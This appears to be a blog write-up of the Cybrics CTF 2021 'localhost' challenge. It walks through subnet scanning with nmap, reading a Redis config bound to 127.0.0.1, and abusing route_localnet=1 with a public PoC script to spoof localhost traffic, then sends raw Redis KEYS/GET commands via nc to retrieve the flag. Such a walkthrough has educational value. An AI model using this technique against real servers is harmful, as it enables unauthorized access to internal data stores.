↑ Top
↩ Go Back
• 4 min read

Cybrics CTF 2021: localhost

Cybrics CTF 2021: localhost

Most of the CTF web challenges work on the Application layer. This is the first time I have encountered one that works on the Network layer. It’s quite an inspiring challenge.

The challenge

Author: Vlad Roskov (@mrvos)

Remember NET fleeks? I’ve pwned a box in another corporate network, and there is some peculiarly configured server near my foothold. Take a look.

ssh localhost@109.233.61.10

Writeup

According to the description, we should first find the peculiarly configured server. It was kind of the author to include nmap for us.

root@PWNED:~$ hostname -i
10.193.162.7

root@PWNED:~$ nmap -sn 10.193.162.7/24
Starting Nmap 7.70 ( https://nmap.org ) at 2021-07-25 08:22 UTC
Nmap scan report for 10.193.162.1
Host is up (0.00013s latency).
MAC Address: 02:42:E1:C9:F5:39 (Unknown)
Nmap scan report for lh_tgt_418.lh_418 (10.193.162.180)
Host is up (0.000050s latency).
MAC Address: 02:42:0A:C1:A2:B4 (Unknown)
Nmap scan report for PWNED (10.193.162.7)
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 3.87 seconds

So we go on to scan 10.193.162.180. The only listening service is HTTP running on port 80. Some config files are hosted there:

root@PWNED:~$ curl 10.193.162.180
<h1>Storage Node Status Page</h1>
<table border=1>
    <tr><td>Records</td><td>1</td></tr>
    <tr><td>Flag-containing Records</td><td>1</td></tr>
    <tr><td>Redis Configuration</td><td>Default: <a href="redis.conf">redis.conf</a></td></tr>
    <tr><td>System Configuration</td><td><a href="sysctl.conf">sysctl.conf</a></td></tr>
    <tr><td>Security</td><td>perfect!</td></tr>
</table>
  • Filtered content for http://10.193.162.180/redis.conf:
bind 127.0.0.1
protected-mode yes
port 6379
tcp-backlog 511
timeout 0
tcp-keepalive 300
daemonize yes
supervised no
pidfile /var/run/redis/redis-server.pid
loglevel notice
logfile /var/log/redis/redis-server.log
databases 16
save 900 1
save 300 10
save 60 10000
stop-writes-on-bgsave-error yes
rdbcompression yes
rdbchecksum yes
dbfilename dump.rdb
dir /var/lib/redis
slave-serve-stale-data yes
slave-read-only yes
repl-diskless-sync no
repl-diskless-sync-delay 5
repl-disable-tcp-nodelay no
slave-priority 100
appendonly no
appendfilename "appendonly.aof"
appendfsync everysec
no-appendfsync-on-rewrite no
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
aof-load-truncated yes
lua-time-limit 5000
slowlog-log-slower-than 10000
slowlog-max-len 128
latency-monitor-threshold 0
notify-keyspace-events ""
hash-max-ziplist-entries 512
hash-max-ziplist-value 64
list-max-ziplist-size -2
list-compress-depth 0
set-max-intset-entries 512
zset-max-ziplist-entries 128
zset-max-ziplist-value 64
hll-sparse-max-bytes 3000
activerehashing yes
client-output-buffer-limit normal 0 0 0
client-output-buffer-limit slave 256mb 64mb 60
client-output-buffer-limit pubsub 32mb 8mb 60
hz 10
aof-rewrite-incremental-fsync yes
  • Filtered content for http://10.193.162.180/sysctl.conf:
net.ipv4.conf.all.route_localnet=1

By redis.conf I assume that a redis instance (used for data storage) is running on 10.193.162.180:6397, but is only accessible locally because of the first line bind 127.0.0.1. So our goal is to connect to it from the local side. That sounds SSRF-ish, but how do we do that without any proxy or \(``\)admin visit\("\) services?

Upon searching the config in sysctl.conf, I stumbled on this detailed article, which suggests that we could pretend to be coming from 127.0.0.1 by altering IP packets directly. This does not work all the time, but it is possible in this scenario thanks to the configuration in sysctl.conf. I then used the testing and PoC scripts provided by the author. Basically, the script captures the traffic sent to a fake address you’ve specified, modifies it and send the payload to the victim server.

$ python3 poc.py --fakedestination 10.193.162.1 10.193.162.180 &

Normally you would want to use redis-cli to connect to redis. But since the protocol can be handcrafted easily, I just used nc for this.

Command: KEYS *

root@PWNED:~/$ echo -e '*2\r\n$4\r\nKEYS\r\n$1\r\n*\r\n' | nc 10.193.162.1 6379
*1
$33
flag_is_here_iedie8Ee5eniequ4uNie

Command: GET flag_is_here_iedie8Ee5eniequ4uNie

root@PWNED:~/$ echo -e '*2\r\n$3\r\nGET\r\n$33\r\nflag_is_here_iedie8Ee5eniequ4uNie\r\n*\r\n' | nc 10.193.162.1 6379
$61
cybrics{m05T_C0mm0N_s3CuR1tY_m34SuRe_4nD_L34St_c0MmoN_sysctl}

flag: cybrics{m05T_C0mm0N_s3CuR1tY_m34SuRe_4nD_L34St_c0MmoN_sysctl}

References

  1. https://github.com/tabbysable/POC-2020-8558
  2. https://www.compose.com/articles/how-to-talk-raw-redis/
Share on: Twitter